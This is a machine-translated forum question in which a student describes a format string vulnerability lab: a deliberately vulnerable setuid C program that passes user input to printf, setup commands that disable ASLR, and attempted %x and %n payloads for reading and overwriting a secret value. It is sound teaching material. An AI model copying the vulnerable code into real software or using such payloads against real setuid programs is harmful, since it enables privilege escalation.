Лаборатория уязвимостей Format String - PullRequest
0 голосов
/ 23 октября 2019

Здесь учится студент первого курса Cybersecurity (я новичок во многих вещах, таких как Linux и т. Д.)

У меня возникли проблемы с изменением секретного значения в моей лаборатории. Вот что мне нужно для этого сделать

  • gcc -z execstack -o vul_prog vul_prog.c

  • sudo chown root vul_prog

  • sudo chmod + s vul_prog

Успешно выполните следующие действия, используя уязвимость формата строки, приводящую к сбою

  • Печатьсекретное значение секрета

  • Изменить секретное значение секрета

  • Изменить секретное значение секрета с помощью предварительно определенного значения 0x42454546

  • Получить корневую оболочку (дополнительный кредит)

вот код, который мы используем

/*vul_prog.c*/
#include<stdio.h>
#include<stdlib.h>

#define SECRET 0x44

int main(int argc, char*argv[]) {
    char user_input[200];
    int secret;
    int a, b, c, d; /*other variables, not used here.*/

    /*getting the secret*/
    secret = SECRET;

    printf("The variable secret’s address is 0x%8x\n", (unsigned int)&secret);
    printf("The variable secret’s value is 0x%x or %d\n", (unsigned int)secret, secret);

    printf("Please enter a string\n");
    scanf("%s", user_input); /*getting a string from user*/

    /*Vulnerable place*/
    printf(user_input);
    printf("\n");

    /*Verify whether your attack is successful*/
    printf("The original secret: 0x%x or %d\n", SECRET, SECRET);
    printf("The new secret: 0x%x or %d\n", secret, secret);

    return 0;
}

Я знаю, каково мое секретное значение, но я не могне изменяйте это. Я знаю команды, которые я должен использовать. Мне нужно изменить, где хранится 44. В моем случае это адрес 0xbfffeb60

[10/23/19]seed@VM:~/Desktop$ ./vul_prog
The variable secret’s address is 0xbfffeb60
The variable secret’s value is 0x44 or 68
Please enter a string
.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x
.bfffeb64.44.b7fd6b28.b7ff37ec.0.b7fff000.bfffece4.44.2e78252e.252e7825
The original secret: 0x44 or 68
The new secret: 0x44 or 68

Команды, которые я использовал до сих пор

sudo sysctl -w kernel.randomize_va_space=0

gcc -z execstack -o vul_prog vul_prog.c

sudo chown root vul_prog

sudo chmod +s vul_prog

После этого я запустил программу ./vul_prog и ввел%% x, чтобы распечатать адрес. Мой профессор сказал, что код для vul_prog.c немного изменен по сравнению с оригиналом, и моя книга использует оригинальный код, и в нем приведены инструкции по его модификации с использованием

echo $(printf "\x04\xf3\xff\xbf").%x.%x.%x.%x.%x.%n > input

vul < input

вот как выглядит входной файл после

Póÿ¿.%x.%x.%x.%x.%x.%x.%x.%x.%n

после выполнения этих команд, ничего не меняется. Затем я добавил еще 3 ".% X" и% n в конце и все еще ничего. Когда я попытаюсь сделать это только с

.%x.%x.%x.%x.%x.%x.%x.%x.%n

, это даст мне ошибку сегментации

Сегодня утром я попытался отправить ему электронное письмо, чтобы спросить его, могу ли яВстретьтесь с ним в его кабинете и покажите ему, что я делаю неправильно, а он еще не ответил, так что я надеюсь получить дополнительные советы от любого, кто является экспертом в своей области.

Я добавлю ещеинформация при необходимости.

...